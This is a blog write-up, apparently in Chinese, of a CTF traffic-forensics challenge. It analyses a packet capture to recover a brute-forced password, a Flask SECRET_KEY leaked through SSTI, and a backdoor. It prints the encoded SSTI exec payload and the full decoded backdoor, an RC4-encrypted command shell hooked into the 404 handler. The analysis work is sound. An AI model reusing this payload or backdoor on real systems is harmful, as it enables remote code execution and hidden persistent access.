[2025长城杯]SnakeBackdoor

下载O.0

SnakeBackdoor-1

攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

统计分析,发现http占比较多,直接筛选http流

先初步分析,可以发现192.168.1.111是攻击者

找到最后一个login,右键追踪一下,就可以在1764流里看到后台密码

获得flag

flag{zxcvbnm123}

SnakeBackdoor-2

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}

模糊查询,直接找到这个关键字“SECRET_KEY”

http contains "SECRET_KEY" 

追踪这个流1779

这段流量是 Flask 框架应用配置对象 的完整序列化输出,攻击者通过 SSTI(服务端模板注入) 漏洞成功读取了内存中的敏感变量

Flask 是一个用 Python 编写的轻量级 Web 应用框架,以其简洁、灵活和易扩展的特性而广受欢迎。它属于"微框架"(Microframework)范畴,核心功能精简,但通过丰富的扩展库可以轻松构建功能完整的 Web 应用。在Flask框架中,应用配置是管理项目设置的核心。配置对象 app.config本质上是一个字典的子类,用于集中存储框架、扩展和项目自身的所有配置变量
内容:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
安全意义:这是 Flask 应用最核心的安全凭证

所以得到flag

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

Payload(载荷)在网络安全领域特指攻击代码或恶意数据,是攻击者注入到目标系统中的有效攻击部分。

继续追踪1779后面的流,往后翻,发现了一个可疑的1789流


    […] Form item: "preview_content" = "{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkp
        Key: preview_content
        Value […]: {{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM

为什么说可疑:

  • 首先,内容以 {{ … }} 包裹,正常的“预览预览”功能应该只处理纯文本或简单的 HTML,而这里提交的是 Jinja2 模板执行代码
  • ***其次,它有危险函数的调用,载荷中出现了 url_for.__globals__[‘__builtins__’][‘exec’] globals,我们都知道它是试图访问 Python 的全局命名空间 exec,这又是 Python 最危险的函数,能将字符串当作代码执行,基本上任何在流量中看到的 exec 基本上都是 RCE 的标志
  • 接着,它里面还嵌套了 .b64decode、zlib.decompress 以及 [::-1]等一大堆乱七八糟的东西,正常的业务请求绝不会将代码进行压缩、反转再发送
  • 最后,一个简单的“Hello World”预览请求通常只有几十个字节,但这个请求的 Content-Length 达到了 4602 字节,说明其中隐藏了复杂的逻辑脚本

内容分析:

  • 首先是SSTI 注入层,使用 {{url_for.__globals__[‘__builtins__’][‘exec’](代码, 上下文)}},这是利用了 Flask 的模板注入漏洞来调用 Python 的内置 exec 函数
  • 其次, 编码层(外壳)exec(.b64decode(‘XyA9IGxh…’))

开一层:

根据[::-1]添加Re继续

此时cyberchef自动识别出了zlib

一直zlib操作

得到如下代码,右边是我的分析

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'                         #密钥
def rc4_crypt(data: bytes, key: bytes) -> bytes:         
	S = list(range(256))                           #S初始化为0-255的连续值
	j = 0                                          #使用密钥对S进行随机化置换
	for i in range(256):
	j = (j + S[i] + key[i % len(key)]) % 256    #密钥字节循环使用以填充整个S
		S[i], S[j] = S[j], S[i]                  #交换S[i]和S[j],打乱S
	i = j = 0                                     #生成密钥流并加解密
	res = bytearray()
	for char in data:
		i = (i + 1) % 256
		j = (j + S[i]) % 256
		S[i], S[j] = S[j], S[i]
		res.append(char ^ S[(S[i] + S[j]) % 256])
	return bytes(res)
def backdoor_handler():
	if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':                    #跟token对比
		return "Error"
	enc_hex_cmd = request.form.get('data')
	if not enc_hex_cmd:
		return ""
	try:
		enc_cmd = binascii.unhexlify(enc_hex_cmd)
		cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
		output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
		enc_output = rc4_crypt(output_bytes, RC4_SECRET)
		return binascii.hexlify(enc_output).decode()
	except:
		return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

拿到flag

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

(个人理解)登陆后查询文件和文件夹的流在1779-1788,1789注入payload,1790开始的post请求即为植入文件可能存在的流,http头中上传文件的post一定会有X-Token-Auth: 3011aa21232beb7504432bfa90d32779,不妨:

http contains "X-Token-Auth"

根据第三问ai出脚本来解密流量包中的编码

import binascii

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

SECRET = b'v1p3r_5tr1k3_k3y'
enc_hex_cmd = "这里填流量包里的hex字符串" 

enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, SECRET).decode('utf-8', errors='ignore')
print(f"Decrypted Command: {cmd}")

将每个post中的代码拿进去跑一跑(每个图片下面有每个流的标注)

1780
1793
1806
1813
1813

archive:归类文档;inflating:解压文件

1817

mv:移动文件

1825

chmod +x给文件添加权限

1826

所以flag是

flag{python3.13}

SnakeBackdoor-5(逆向不会)

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

由上一题可知,在1813开始解压文件,所以可以提取流量包中传输的123.zip,1808到1812全是TCP握手,而1807流上传123.zip

复制原始数据到cyberchef,转出zip

之后发现需要密码,而这个黑客攻击进行的解压操作绝对会包括解密过程,所以在1813流量包中查找。

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip

所以密码是nf2jd092jd01,得到一个文件shell,加后缀名exe,用IDA打开,进入main板块

评论

  1. 博主
    6 月前
    2026-1-24 1:30:38

    谢谢g3rling大佬的鞭策+提醒+帮助(哭 {{daku}} )

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇